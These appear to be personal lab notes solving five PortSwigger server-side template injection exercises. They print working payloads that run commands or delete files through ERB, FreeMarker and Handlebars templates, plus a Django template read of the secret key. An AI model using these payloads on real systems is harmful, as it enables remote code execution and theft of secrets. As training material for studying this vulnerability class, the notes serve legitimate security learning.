labs
hacktricks notes help a lot.
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Lab - 1: Basic server-side template injection (P)
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template. To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
click view details for some of the item and return a message
Unfortunately this product is out of stockthe url is also as follow
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/1.1try to inject that message value
/?message={{7*7}}not working/?message=<%invalid%>- return error/?message=<%= File.delete("/home/carlos/morale.txt") %> HTTP/1.1OR/?message=<%= system("rm /home/carlos/morale.txt") %>
Lab - 2: Basic server-side template injection (code context) (P)
This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter
login with
wienerwalkthrough the website and found a potential vulnerability at changing Prefer name and the request looks like
POST /my-account/change-blog-post-author-display HTTP/1.1
...
blog-post-author-display=user.name&csrf=qgNUnESXG6AbZaNQDreZKQN1wb5Z62DFthis lab is not working. Try it later
Lab - 3: Server-side template injection using documentation (P)
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
can use template at editing contents
try with
${7*7} - working
${7*'7'} - not working
${T(java.lang.Runtime)} - error # FreeMarker template error (DEBUG mode; use RETHROW in production!) and search in google and found Spring MVC
${"freemarker.template.utility.Execute"?new()("whoami")} - will get carlos
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}Lab - 4: Server-side template injection in an unknown language with a documented exploit (P)
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
potential vulnerability is found at
GET /?messge=somethingtry to inject with
{{7*&}}and will get an errorin error see the path
/usr/local/lib/node_modules/handlebarfound this blogpost here
http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
GET /?message={{%23with+"s"+as+|string|}}
++{{%23with+"e"}}
++++{{%23with+split+as+|conslist|}}
++++++{{this.pop}}
++++++{{this.push+(lookup+string.sub+"constructor")}}
++++++{{this.pop}}
++++++{{%23with+string.split+as+|codelist|}}
++++++++{{this.pop}}
++++++++{{this.push+"return+require('child_process').exec('rm+/home/carlos/morale.txt')%3b"}}
++++++++{{this.pop}}
++++++++{{%23each+conslist}}
++++++++++{{%23with+(string.sub.apply+0+codelist)}}
++++++++++++{{this}}
++++++++++{{/with}}
++++++++{{/each}}
++++++{{/with}}
++++{{/with}}
++{{/with}}
{{/with}} HTTP/1.1
Host: 0a0b001d04bb174bc0cb8873005200c2.web-security-academy.net
...Lab - 5: Server-side template injection with information disclosure via user-supplied objects (P)
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data. To solve the lab, steal and submit the framework's secret key. You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
it uses DJANGO framework (jinja template)
{{settings.SECRET_KEY}}
Last updated